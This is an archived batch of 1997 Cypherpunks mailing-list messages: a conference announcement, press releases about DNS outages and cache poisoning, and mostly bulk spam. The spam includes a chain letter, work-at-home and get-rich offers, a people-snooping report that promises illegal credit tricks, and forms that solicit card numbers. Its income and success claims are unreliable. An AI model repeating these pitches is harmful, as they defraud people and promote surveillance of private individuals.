If applicable:

Credit card type: (Visa, Mastercard, Discover, American Express).

_____________________________________________________________

Credit card number:

___________________________________Expiration date:_____________

Name as it appears on credit card:

_____________________________________________________________
 
1997 Stefanie Aquino, The G.O.X. Group.  ALL ORDERS ARE SHIPPED BY
FIRST CLASS MAIL AND ARE GUARANTEED FOR 90 DAYS. PLEASE DO NOT
SEND CASH! 
 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 18 Jul 1997 08:54:54 -0700 (PDT)
To: Recipient List Suppressed:;
Subject: No Subject
Message-ID: <v031107baaff53c2d049e@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


Hi everyone,


Well, I guess it's official now. I'm going to speak at MacWorld on Thursday
the 7th.

If your planning to go to MacWorld, feel free to stop by and talk about e$
and financial cryptography on the Macintosh.

> ----------------------------------
> * DIGITAL COMMERCE FOR THE REST OF US [Session 92, Thursday 8/7, 4:00-5:15
> pm, World Trade Center] -- What are the fundamental forces in the technology
> of digital commerce? What effect will digital commerce have on society? What
> are Mac's strengths are in this environment? What are some very specific
> things that Apple and the Macintosh community can do, right now, to
> participate as a full partner in the development of digital commerce on
> public networks? What are the technologies that Mac people should concentrate
> on to be first movers in the new geodesic economy? Solo Speaker: BOB
> HETTINGA, Freelance Digital Commerce Analyst, e$, 44 Farquhar Street, Boston,
> MA 02131; http://www.shipwright.com/
> ----------------------------------

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgp@pgmedia.net (pgMedia)
Date: Fri, 18 Jul 1997 12:42:30 -0700 (PDT)
To: info@pgmdia.net
Subject: PGMedia Comments on the Failure of the NSI-Controlled DNS System
Message-ID: <1342883289-597806@MediaFilter.org>
MIME-Version: 1.0
Content-Type: text/plain


FOR IMMEDIATE RELEASE: NATIONAL DISTRIBUTION:
_____________________________________________

PGMedia Comments on the Failure of the NSI-Controlled DNS System



(New York, New York) The breakdown of the Internet's Domain Name
System ("DNS") yesterday, purportedly caused by human error at
Network Solutions, Inc. ("NSI") as well as NSI's antiquated
hardware, brought internet traffic to a crawl.  This and other
recent troubles that NSI has experienced in its operation of the
Internet's Domain Name System are textbook examples of a
monopolist's inertia in developing new and more secure systems
to preserve and protect the integrity of the central facilitator
of the Internet.  The end-users of the Internet demand and
deserve better.  In NSI's desire to protect its monopoly
profits, particularly in view of its stated intention to offer
public stock based on that artificially inflated cashflow, NSI
has placed the entire Internet at risk. NSI's intransigence to
the change demanded by PGMedia, Inc. d/b/a name.space in the
antitrust litigation commenced in Federal Court in New York has
also led to the recently reported investigation by the U.S.
Department of Justice for NSI's alleged antitrust violations.



PGMedia, through its name.space service
(http://namespace.pgmedia.net), has developed and implemented a
rationalized Top-Level-Domain system that allows for
registration under unlimited TLDs such as ".art" "news"
".cameras", ".inc" ".sports" and ".weather". The name.space
service is housed on a state of the art network with thirteen
root servers located in five countries. The name.space system
has been fully operational since August 1996, and was not
affected by the "human error" which ground NSI's system to a
halt yesterday. If end-users of the Internet wish to secure for
their own use, and at no cost, a far more reliable DNS system,
all they need do is access the above-referenced URL and follow
the simple steps therein to redirect their default TCP name
server addresses to the name.space network.



In addition, PGMedia believes that the name.space shared product
and service oriented TLDs, when fully resolvable, will open up
the Internet to far greater commercialization and render the
wealth of information on the Internet far more accessible to the
end-user.  PGMedia's demand for access to the central root zone
file exclusively controlled by NSI which would render PGMedia's
TLD's and the domain names registered thereunder universally
resolvable is currently pending consideration by The Honorable
Robert P. Patterson, Jr., U.S.D.J., in Federal Court in New
York. PGMedia also wishes to stress that it has no affiliation
with and does not support the anticompetitive approach
propounded by the loose group of purported registrars known as
"eDNS."



For more information, please contact the PGMedia, Inc. legal
counsel at mjd@pgmedia.net; the Amended Complaint in the
above-referenced Federal Antitrust Action may be viewed and
downloaded at http://namespace.pgmedia.net/law






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 83751386@uu.net
Date: Sat, 19 Jul 1997 23:27:49 -0700 (PDT)
To: at.916.876.4285@uu.net
Subject: ARE YOU BEING INVESTIGATED ????
Message-ID: <777gy7qweyt223m76.26666665@free.speach.com>
MIME-Version: 1.0
Content-Type: text/plain





ARE YOU BEING INVESTIGATED????



Learn the Internet tools that are used to investigate you, your 

friends, neighbors, enemies, Employees or anyone else!  My huge 

report "SNOOPING THE INTERNET" of Internet sites will give you...


* Thousands of Internet locations to look up people, credit, 

Social security, current or past employment, Driving records, 

medical information, addresses, phone numbers, Maps to city 

locations...



Every day the media (television, radio, and newspapers) are full 

of stories about PERSONAL INFORMATION being used, traded, and sold 

over the Internet... usually without your permission or knowledge. 

With my report I show you HOW IT'S DONE!!!
	

It's amazing..

	

Locate a debtor that is hiding, or get help in finding hidden assets.



*   Find that old romantic interest.


*   Find e-mail, telephone or address information on just about 

     anyone! Unlisted phone numbers can often be found through 

     some of these sites!!



Perhaps you're working on a family "tree" or history. The Internet 

turns what once was years of work into hours of DISCOVERY & 

INFORMATION.




      Check birth, death, adoption or social security records.


MILITARY

      Check service records of Army, Navy, Air Force or Marine 

      Corps. Find out who's been telling the truth and who's been 

      lying. Perhaps you can uncover the next lying politician!!!
 


FELLOW EMPLOYEES;


* Find out if your fellow employee was jailed on sex charges, or   

  has other "skeletons" in the closet!!



PERFORM BACKGROUD CHECKS;
  
   Check credit, driving or criminal records, Verify income or 

   educational claims, Find out Military history and discipline, 

   previous political affiliations, etc.


YOUR KID'S FRIENDS;


   Find out the background of your children's friends & dates.


WHATS THE LAW? STOP GUESSING!!


* Look up laws, direct from law libraries around the world. Is 

  that new business plan legal?? 




NEW JOB?  NEW TOWN?  NEW LIFE?

   Employment ads from around the world can be found on the 

   Internet. Get a new job and disappear!



The Internet can tell you just about ANYTHING, if you know WHERE 

to look. 



BONUS REPORT!!!!


Check your credit report and use the Internet to force credit 

bureaus to remove derogatory information. My special BONUS REPORT 

included as part of the "SNOOPING THE INTERNET" collection reveals 

all sorts of credit tricks, legal and for "information purposes 

only" some of the ILLEGAL tricks.


Research YOURSELF first!


What you find will scare you.


If you believe that the information that is compiled on you should 

be as easily available to you as it is to those who compile it, 

then. . .

You want to order the SNOOPING THE INTERNET report I've put 

together.


This huge report is WHERE YOU START! Once you locate these FREE 

private, college and government web sites, you'll find even MORE 

links to information search engines!

YOU CAN FIND OUT ANYTHING ABOUT ANYBODY ANY TIME using the Internet!!!!

  1) WE TAKE: AMERICAN EXPRESS <> VISA <> MASTERCARD
 
        TYPE OF CARD  AMX/VISA/MC??____________________
 
        NAME ON CREDIT CARD___________________________
 
       CREDIT CARD #___________________________________
 
        BILLING ADDRESS ________________________________
 
        CITY_____________________________________________
 
        STATE________________ZIP________________________
 
        PHONE INCLUDE AREA CODE______________________
 
        WE WILL BILL 39.95 to your account
 
        SALES TAX (2.90) added to CA residents 
 
  >>> Send $39.95 ($42.85 in CA) cash, check or money order to:
  >>> CASINO INVESTIGATIONS
  >>> Background Investigations Division
  >>> 311 Nord Ave.
  >>> P.O. Box 4139
  >>> Chico, CA 95927-4139
)))))


  2) Send the same above requested credit card information to above address. 


   3) Fax the same above credit card information to 916-895-8470

   4) Call phone # 916-876-4285.  This is a 24 hour phone number to          

      place a CREDIT CARD order.

 I will RUSH back to you SAME DAY my "SNOOPING THE INTERNET" report!

Log on to the Internet and in moments you will fully understand...

 What information is available -- and exact Internet site to get there!

2nd BONUS!!!!


Along with the report we will send a 3 1/2" disk with sites 

already "HOT LINKED". No need to type in those addresses. Simply 

click on the URL address and "PRESTO" you are at the web site!!! 


Personal ads, logs of personal e-mail, mention of individuals

anywhere on the Internet are "your for the taking" with this 

report.


Lists of resources to find even more information (private

Investigation companies, etc..) 


   Order surveillance equipment (if legal in your state)
  

Send anonymous e-mail
   
Research companies 

Research technology

Locate military records

 
FIND INFORMATION ON CRIMINALS 

   Find Wanted fugitives - perhaps even a close associate!

ABSOLUTE SATISIFACTION GUARANTEED:

Your satisfaction is 100% guaranteed, just return the material
For a full refund within 30 days if you aren't 100% satisfied.


Copyright 1997 All Rights Reserved

R Jon Scott Hall Publications. 



  THIS IS NOT A  FRANK MULLEN / CYBER PRODUCTS / SPYMASTER  PUBLICATION














From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: loveinlife919@usa.net
Date: Sat, 19 Jul 1997 23:00:06 -0700 (PDT)
Subject: No Subject
Message-ID: <164894629046.MSQ23863@usa.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
       
          ATTRACT AND DATE THE
                           BEAUTIFUL WOMEN OF YOUR DREAMS WITH AN
                                        INCREDIBLE NEW STEP BY STEP BOOK!

     If you have all the beautiful, sexy women you want in your life, read no
further. If you are ready to make some major changes in your love life and
you want to start dating more beautiful women than you ever believed
possible... READ ON!

     Would you like to stop making the same mistakes 90% of the other guys
are making? Would you like to be the man an attractive woman chooses over
all the rest? Is it really possible to date ALL the sensational women you want?
YES! You too can easily date beautiful women! Learn the secrets of success
and you can easily attract the exciting women of the 90's!
 
     Now, you can be that man who stands out when it comes to women. You can
be the man who walks confidently up to a gorgeous woman and soon has her
totally charmed! Believe it or not, with the strategies in this book, any
man can quickly and easily learn what it takes to attract beautiful women
and keep their affections!
 
     What you'll learn in the few hours it takes to read our book will change
your life! It doesn't matter what kind of success you've had with women in
the past. This information will enable you to attract more beautiful, sexy
women than you can handle! Don't spend another night alone - you can change
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        Don't pass up this opportunity to learn the simple secrets about women 
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What really attracts gorgeous women and turns them on is very different than
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step guidelines for getting all the women you want! Here are just some of
the things you will learn:

  *   The fatal mistake 90% of men consistently make with women, ruining
their chances every time. Changing this one thing will guarantee more
success than you've ever had before!

  *    How to approach an attractive woman so she'll want to meet you
(...and what drives women away.)

  *    What you can do to attract beautiful women like a magnet!

  *    How to "break the ice" and how to talk to attractive women....
including what to say and what not to say.

  *    How to turn a "no" into a "YES" when you ask her out.

  *    Where to go and what to do (and not do) on a first date.

  *    How to get her to WANT to date you again.

  *    How to overcome the fear of rejection and gain confidence in any
social situation.

  *    How to avoid wasting your time and money on the wrong woman.

  *    How to develop lasting relationships. 
   

   This powerful, practical guide will reveal the facts... facts like...

"Men ar basically visually stimulated while women are basically emotionally 
stimulated" Knowing what this really means and how it applies makes
a huge difference in YOUR love life!

 This step by step book covers everything from when and where to meet a 
desirable woman, to enjoying a successful, lasting relationship. You will see 
through the illusions you've been taught to believe. We do not offer gimmicks 
or vague advice. In simple, easily understood language you will learn what 
really works and how you can easily duplicate these proven techniques. You 
will find chapter after chapter of specific information; we eliminate the guess work,
confusion, and frustration. We teach you, step by step, how to utilize the
way you present yourself to your own best advantage, making you
irresistible to today's beautiful, sexy women! You'll be amazed how easy it
really is to charm attractive women! 

     For less than it costs for dinner and a movie, you can be on your way
toward attracting and dating beautiful women. This book will literally save
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only $49.95, but if you order within 10 days you only pay $24.95! We are so
sure you will find this book immediately useful, we offer you a full 90 day
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manual could make the difference in your life... the difference between
having beautiful women in your life or just dreaming about them!

    PLUS, if you order now, as an added bonus you will receive absolutely
FREE the fantastic new report "Rapid Start Dating Guide" 

     If, after examining this book, you are not completely satisfied and
ready to put these steps into action, you can return it for a full refund!
Try our step by step approach presented to you for 90 days and are not 
meeting and dating more women, you can return this book in good condition, 
for a full refund... no questions asked. Either way, the free report is yours to 
keep!

                                Order the book now!!
         

                                        (Cut here)
-------------------------------------------------------------------------------------------------

          MEET, ATTRACT AND DATE GORGEOUS WOMEN!!!
    
                       BOOK ORDER INFORMATION


 THE BOOK YOU WISH TO ORDER IS (US) $49.95 EACH
 HOWEVER DURING OUR SPECIAL INTRODUCTORY OFFER
 FOR THE NEXT 10 DAYS.....

 YOU CAN ORDER IT NOW FOR ONLY (US) $24.95 EACH !!!
 
 SHIPPING COSTS:
               USA, Canada & Mexico
               $24.95       add     $3.50     (Add US$12 for International)
               for shipping and handling.

 PLEASE ENTER YOUR TOTAL HERE:  ___________________
  
 

 **********************************************************
 ** Please give us your name, E-mail address, and the postal ** 
 ** address where you would like your book order to be sent.  **
 **********************************************************


YOUR FULL NAME: ____________________________________________

YOUR E-MAIL ADDRESS: _______________________________________

YOUR TELEPHONE NUMBER: ___________________________________

YOUR FULL MAILING ADDRESS(Including City, State, Postal Code & Country):

                _____________________________________________________

                 _____________________________________________________

                 _____________________________________________________

 ***************************
 *** PAYMENT INFORMATION ***
 ***************************

METHOD OF PAYMENT:
^^^^^^^^^^^^^^^^^
	___ Master Card
	___ Visa
	___ American Express
	___ Check 
                ___ Money Orders

CREDIT CARD INFORMATION:
^^^^^^^^^^^^^^^^^^^^^^^
  NAME AS IT APPEARS ON CARD: ____________________________________
  
  ACCOUNT NUMBER ON CARD: ______________________________________

  EXPIRATION DATE ON CARD: _______________________________________

  SIGNATURE: _____________________________________________________

 ADDRESS WHERE YOU RECEIVE YOUR CREDIT CARD STATEMENTS:

  _______________________________________________________________
 

PAYING BY CHECK: (US Currency)
^^^^^^^^^^^^^^^

  Please make checks payable and mail orders to:

  
                M.J.H.
                PO Box 14909
                San Luis Obispo, CA  93406-4909
   

    ALL orders must be postal mailed!

</FONT><FONT  COLOR="#000000" SIZE=3>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Mon, 21 Jul 1997 03:13:51 -0700 (PDT)
To: cypherpunks-unedited-outgoing@toad.com
Subject: No Subject
Message-ID: <199707211013.DAA16044@f19.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


unsubscribe cryptography-politics-pgp-l

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgp@pgmedia.net (pgMedia)
Date: Mon, 21 Jul 1997 00:42:23 -0700 (PDT)
To: info@pgmedia.net.net
Subject: Nameserver Cache Contamination by Alternic is Irresponsible Practice
Message-ID: <1342668071-308338@MediaFilter.org>
MIME-Version: 1.0
Content-Type: text/plain


To All System Administrators:

I recommend that you restart all of your nameservers
to clear out their caches...

Alternic has cached bogus information
on your servers and others, rerouting
www.internic.net to www.alternic.net
and www.netsol.com to www.alternic.net
as well as causing failures to resolve other
addresses.

I find this practice by Alternic IRRESPONSIBLE
as sets a negative example for the independent
NameService Providers.

Name.Space does not in any way support this
IRRESPONSIBLE PRACTICE or any TRAFFIC HIJACKING
of any kind.

Name.space disclaims any connection whatsoever to
"Alternic", "eDNS", or any of their affiliates, nor
does name.space endorse any of the policies of the
aforementioned entities.

Name.space is committed to RESPONSIBLE PRACTICE
in providing nameservice in the interests of the
international public and in keeping the toplevel
namespace in the public domain.

regards,

Paul Garrin
name.space
http://namespace.xs2.net

see related articles:
http://namespace.xs2.net/media






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Barrons Online <barrons@LISTSERV.DOWJONES.COM>
Date: Tue, 22 Jul 1997 16:21:43 -0700 (PDT)
To: BARRONS-ANNOUNCE@LISTSERV.DOWJONES.COM
Subject: Important Announcement for Barron's Online Subscribers
Message-ID: <v03102804affa6fbca08e@[143.131.147.65]>
MIME-Version: 1.0
Content-Type: text/plain


Dear Barron's Online subscriber:

By now we hope you've heard about the changes coming to Barron's Online
later this week. This is a final reminder that, effective Friday, July 25,
Barron's Online will be available only to subscribers to The Wall Street
Journal Interactive Edition. (If you've already signed up for the
Interactive Journal because of previous announcements to Barron's Online
subscribers, please ignore this message.)

Subscriptions to the Interactive Journal cost $49 per year, or $29 per year
for print subscribers to the Journal or Barron's. For this single price,
you'll have access to both the Interactive Journal and Barron's Online.

If you already subscribe to the Interactive Journal, you don't need to do
anything to keep enjoying Barron's Online. Beginning July 25, your
Interactive Journal user name and password will allow you to use the
features of both sites. Your Barron's Online password will no longer work.

If you don't already subscribe to the Interactive Journal and wish to
continue reading the exclusive Barron's Online articles and features,
you'll need to register for an Interactive Journal subscription and supply
a credit card.

You have a few days left to take advantage of a special offer available
only to Barron's Online subscribers. To get an eight-week free trial, you
must register as an Interactive Journal subscriber by going to the Barron's
Online site before Friday and following the special offer link there. You
also must be a new Interactive Journal subscriber.

Even if you don't take advantage of this special offer, you can sign up at
any time after Friday and still get our normal two-week free trial. Under
both offers, if you cancel online before the end of the free trial period,
you won't be charged.

We believe that the combined efforts of the Interactive Journal and
Barron's Online, coupled with the soon-to-be-unveiled SmartMoney
Interactive, offer subscribers the most comprehensive collection of
business and financial news, investment information and personal finance
tools available on the Web. We hope you'll take advantage of our trial
offer to see for yourself what more than 100,000 Interactive Journal
subscribers already know.

Best regards,

Neil Budde
Editor
The Wall Street Journal Interactive Edition

info@interactive.wsj.com

========================================================================

If you do not wish to continue receiving these email alerts,
send email to: stopmkt@lists.wsj.com

If you have other questions, please call our customer service group at
1-800-369-2834.

======================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hjuy7685tif@aol.com
Date: Mon, 21 Jul 1997 16:05:18 -0700 (PDT)
To: 5666@d564390.comcom
Subject: 1-800-811-2141 code 20477
Message-ID: <199603170067.GAA098056@d564390.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
Make Money Promoting
This Toll-Free Number
1-800-811-2141 code 20477

</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jack@intmktgrp.com
Date: Tue, 22 Jul 1997 11:29:33 -0700 (PDT)
To: friend@public.com
Subject: CD Rom - Email List
Message-ID: <199707190025.GAA08056@intmktgrp.com>
MIME-Version: 1.0
Content-Type: text/plain


25 Million Addresses On CD Rom - Only $199.00


500+ Reports, Books, & Legal Forms 
(With Reprint Rights To Put You Into Your
Own Home-Based Business Overnight)
Only $199.00


Target Email Address Lists - Call For Quotation


VISA & Mastercard Accepted -

Call 812-597-1000




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: promotions@web-promotions.com
Date: Wed, 23 Jul 1997 20:59:11 -0700 (PDT)
To: promotions@web-promotions.com
Subject: REFFERAL REWARDS ( NOT CLUBPIX )
Message-ID: <199707232100.RAA26395@loki.atcon.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This message has been sent by Web-Promotions.Com  and adheres to all North American laws pertaining to Bulk Email.

If you would like to be removed from future mailings please respond back to the sending address
and put REMOVE in the SUBJECT BOX. Placing the word remove in any other area of the email may go unnoticed.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Attention Adult Webmaster:

We Want YOU To Be A Part of US!

This is NOT a Click Thru Program, nor a Limited Money Making MLM
Program!

This is YOUR opportunity to get what you deserve!

REFERRAL REWARDS!!!!!!

WEG Inc. has designed a referral program that rewards the Adult Webmasters for their hard work and dedication to their site.  This program has been in operation since mid April to a select few and is now ready for full operation and distribution.  Payment references from some bigger adult
webmasters that are involved in the program are available upon request!

Here's How It Works:

Basically our program allows you to promote our site but you the webmaster receives your own link, with your own assigned script code.  The script code is how we determine who's signup is who's!  So in reality you can consider it your site, it's just that you don't have to waste your time and energy updating material, buying material, and maintenance of your site! Not to mention 
bandwidth costs! We do all the grunt work!

Heres what you get:

For every signup, you receive 40% commission.  
We charge a retail of $19.95 per signup, per month.
So that gives you a net of $7.98 per signup.
Now here's where it really gets good...

RECURRING REVENUE!!!!!!

That's right, the webmaster not only receives the initial 
commission of $7.98 (40%), but they also get the recurring revenue.

So every month for each referral that has signed up and stays a member 
you keep getting the recurring billing - $7.98 (40%).

ALL COMMISSIONS ARE PAID OUT WEEKLY!!!

All webmasters will receive a check every week for what ever commission 
is owed to their account.  Doesn't matter if you had 1 signup for that
weekly pay period.  You get a check every week!

900 ACCESS SIGNUPS TOO!

We have the ability to assign each webmaster that signs up to our
program their own 900 Access number. But the problem we run into is that we have 
to pay $10 per 900 number. It doesn't sound like much, but when you have 
over 100 people involved in the program and some people are doing
signups and some aren't, it doesn't make sense to order a whole bunch of 900
lines and they won't even be utilized. So this is what we have decided to do.

We will use one universal 900 number. If you had 10 credit card signups
for the one week pay period and all webmasters combined had 100 signups,
your cut of the 900 revenue will be 10%. 

If you are absolutely serious with our program and feel you will warrant
the need for your own 900 Access number, we will assign your account your
own personal 900 number free of charge.  

ONLINE STATS

Online stats are available to each Referral Rewards member.  So you will
always be able to check your stats.

STOP WASTING YOUR TRAFFIC!!!

So what are you waiting for?  Start maximizing your traffic today!
Sign up to our Referral Rewards program and start collecting the
revenue you truly deserve.  

Signup Page
http://www.weginc.com/referral/signup.html

Referral Rewards Main Site and More Info
http://www.weginc.com/referral/

If you should have any questions, please feel free to email us at rewards@900.net.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This message has been sent by Web-Promotions.Com  and adheres to all North American laws pertaining to Bulk Email.

If you would like to be removed from future mailings please respond back to the sending address
and put REMOVE in the SUBJECT BOX. Placing the word remove in any other area of the email may go unnoticed.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 8051172@prodigy.net
Date: Wed, 23 Jul 1997 21:59:06 -0700 (PDT)
To: yourbox@aol.com
Subject: Extra Income
Message-ID: <0000000000.AAA000@prodigy.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#ffffdf">
***********************************************************************
Our Research Has Indicated That The Following
Message Will Be Of Interest To You.
***********************************************************************

Imagine what you can do with...

 UP TO $800.00 A WEEK EXTRA INCOME!
 Here's How To Get Started

      Let me tell you which companies to contact so you can start to
 receive your checks. They can be $200.00, $400.00, even $800.00 per
 week, depending on what you do. You can earn this excellent income
 right at home. And you work only when you want to.

      My name is Henry Summers. I investigate income opportunities
 that are advertised in magazines or by mail or are listed in home work
 directories and other sources.

      Then I talk to people who are actually using these opportunities. I ask
 how much money they make... and whether they enjoy the work. This helps
 me direct you to the best opportunities that are available today. Ones that
 people are using right now to earn all the money they want.

 Get Paid For Stuffing Envelopes.
 No Fees. Nothing To Buy.

      This easy work is very appealing, but most people do not know
 how to get it. That's because so many of the envelope stuffing programs
 being advertised are not what you expect. And you don't find that out
 until after you send in your money.

       Let me tell you the real facts. With true envelope stuffing...

       * You do not need to pay any fee or buy any materials to get started.
       * You do not do any advertising or handle any orders.
       * All printing, postage, and mailing lists are supplied free by
          the companies that pay you.
       * Your pay is based entirely on how many envelopes you complete.

      Rosie Martinez is an example of someone who earns money stuffing
 envelopes. The company delivers all the materials right to her door.
 She stuffs the envelopes, seals them, and applies the mailing labels
 and postage stamps that are supplied. Then she gets paid for every
 envelope completed.

      Rosie says, "I'm retired, and I enjoy having something to do.
                          I usually watch television while I work. The
                          home shopping  shows are much more fun now
                          that I have money to spend."

      If you'd like to do this kind of work, just follow the directions in
 Chapter 3 of my book "Real Home Income". Or try any of the other
 opportunities covered.

      Hundreds of companies are ready to help you make money. I'll
 tell you what each one has available now.

      Choose the kind of work you like and write to the companies who
 offer it. Pick any you want. You can work as an independent contractor for
 as many companies as you have time for.

      There are no qualifications to meet, so you will not be turned
 down. I guarantee it. If you don't like one company or you want to make
 more money, there are plenty of others you can try.

 Get Paid For Assembling Miniatures

      Gina Walker of Texas likes to assemble miniature furniture for doll houses.
 All the necessary materials are supplied by the company that
 pays her. She puts them together and sends them back to the company.

      Everything is conveniently handled by mail and UPS. The company
 sends her a nice pay check for each batch she completes.

      Gina says: "I really like the work, and the extra money helps
                       pay my bills. I'm glad I found out about these companies."

      You can get paid the same way. And you don't have to make miniatures.
 You can choose from many other types of work. You can sew baby
 bonnets, assemble beaded jewelry, crochet doll clothes, make wooden
 items, assemble stuffed animals, paint figurines, weave rattan reed,
 and many more.

     You get the names and addresses of over 50 companies that will pay
for things you make or assemble at home. No experience is required,
and it makes no difference where you live.

     Almost all the companies supply the needed materials. Just do the
work and get paid for each batch you send back. Wouldn't you like to
get those pay checks? I'll show you how to get started fast.

How I Made $800.00 Per Week After Losing My Job

     I became interested in home income opportunities several years
ago when I lost my job. I sent for dozens of money making offers. Most
were totally worthless. Others did not appeal to me.

     But circular mailing caught my interest... and it actually
worked. In just six weeks, I was making over $800.00 a week working
part time at home. It was better than my previous job. I soon paid off
my bills and bought a new car.

     Yet that was only the beginning. As I learned more about it and
tried different things, the money poured in even faster. It made a
huge difference when I applied certain secrets that are used by the
experts. I was amazed at how profitable it could be.

     In "Real Home Income" you'll learn how to use those secrets
yourself. I'll tell you which companies to contact to get started.
I'll show you some simple steps you can take to double your income
without doing any more work.

      If you want, you can do all of this without handling any
orders. Your name and address does not have to appear on anything you
mail. You just mail circulars for companies and receive nice fat
checks from them.

     With my proven methods, you can soon be earning more money than
you ever imagined. Just follow my directions, and you can start
receiving checks from the same companies I do.

Receive One Dollar For Each Envelope You Stuff.
Envelopes Come To You Already Stamped And Addressed.

     This easy work is advertised by over thirty- five companies. But
they require that you pay $25.00 to $45.00 to register in their
program. And then the program seldom turns out to be what you'd
expect.

     That's where my book can help out. I describe the three kinds of
mail programs that pay one dollar per envelope. But there is only ONE
that I recommend. Not only is it more profitable overall, but you
don't have to pay any fee to do it. Not even a dollar. Read about "The
World's Best Dollar- Per- Envelope Program" in Chapter 4.

How To Avoid Disappointment

     So many worthless offers are commonly advertised that many
people give up before they come across a good one. That won't happen
to you when you have my book.

     It tells you exactly how to recognize and avoid worthless
offers. The most common ripoffs are covered in detail. This knowledge
 can save you a great deal of time and money.

     You can then take advantage of the many practical, down- to-
earth opportunities that are described. Ones that enable you to start
making money fast. Even just one extra source of income can make a big
difference in your standard of living.

Start To Earn Money In 48 Hours

     When you get the book, look over the many excellent
opportunities. Each listing includes a brief description of what is
offered. Write to the companies you like and request an application
form. They have openings right now, and they'll be happy to get you
started.

     You can begin to make money even faster if you choose one of the
programs or plans that the book describes in detail. I'll tell you
everything you need to know to get started. By taking a few simple
steps, you can already be making money just 48 hours after you receive
the book.

Unlimited No Nonsense Guarantee

    "Real Home Income" costs just $29.95 plus $3.00 for postage and
handling. I'm so confident you can make the money I've talked about
that I back it with a lifetime, money- back guarantee. If at any time
you feel the book has not helped you make all the money you want, just
send it back. I'll promptly send you a full refund of everything you
paid, including postage and tax.

     Start to enjoy more income and a better life as soon as
possible. Please complete the order form and mail it today.
Everything will be rushed to you by first class mail.


                                                           Sincerely,
                                                           Henry Summers

     P.S. I've recently discovered an amazingly profitable
            opportunity. One person I talked to made $20,000 in his
            first six weeks... working right at home in his spare
            time. It is not multi- level marketing. I've never seen
            anything like it before. I'l give you a toll free number
            to call so you can get started.



                          Please Print and Mail This Order Form to: 

-------------------------------------------------------------------------------------------------
ADVANCED NETWORK PROMOTIONS                           # 305   
P.O. Box 712102  
Santee, CA 92072- 2102                             

                      ( ) Yes, I would like to get started. Please rush me                       
                          "Real Home Income" under your lifetime money-
                           back guarantee. Enclosed is $29.95 plus $3.00 for
                           postage and handling.*  $32.95 total. (If you live in
                           California, please send $34.95)                             

          *Checks may be made payable to Advanced Network Promotions

Name____________________________________________ 


Address___________________________________________                              


City, State, Zip_____________________________________    
                                                    Internal Code [E8(3p)SB724]
-------------------------------------------------------------------------------------------------































From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 22762705@09872.com
Date: Wed, 23 Jul 1997 20:47:12 -0700 (PDT)
To: thanks@reader.com
Subject: God Blessed Us and We're Sharing
Message-ID: <199702170025.GAA08056@mailcenter1.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
>>> MAKE $36,000 in 14 WEEKS <<<

<< Just what you needed, just when you needed it! >>

The main reason for this letter is to convince you that this system is honest, lawful, extremely profitable, and is a way to get a large amount of money in a short time.  I was approached several times before I checked this out.  I joined just to see what one could expect in return for the minimal effort and money required.  Initially I let no one in the organization know that I was an attorney and, to my astonishment, I received $36,470.00 in the first 14 weeks, with money still coming in.

Sincerely yours, Phillip A. Brown


"Please Read This Twice!"

Dear friend,

*** Print This Now For Future Reference ***

The following income opportunity is one you may be intersested in  taking a  look at. It can be started with VERY LITTLE investment and the income return
is TREMENDOUS!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

You are about to make at least $50,000 in less than 90 days!
Please read the enclosed program...THEN READ IT AGAIN!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

This is a MONEY-MAKING PHENOMENON. PRINT this letter,
read the program... THEN READ IT AGAIN !!!

You are looking at the most profitable and unique program you may ever see.  It has demonstrated and proven ability to generate large sums of money.  This program is showing fantastic appeal with a huge and ever growing population which needs additional income.

This is a legitimate LEGAL money-making opportunity.  It does not require you to come in contact with people, do any hard work, and best of all, you never have to leave the house, except to get the mail.  If you believe that some day you will get that lucky break that you have been waiting for, THIS IS IT!  Simply follow the easy instructions, and your dream will come true!  This electronic multi-level marketing program works perfectly...100% EVERY TIME!

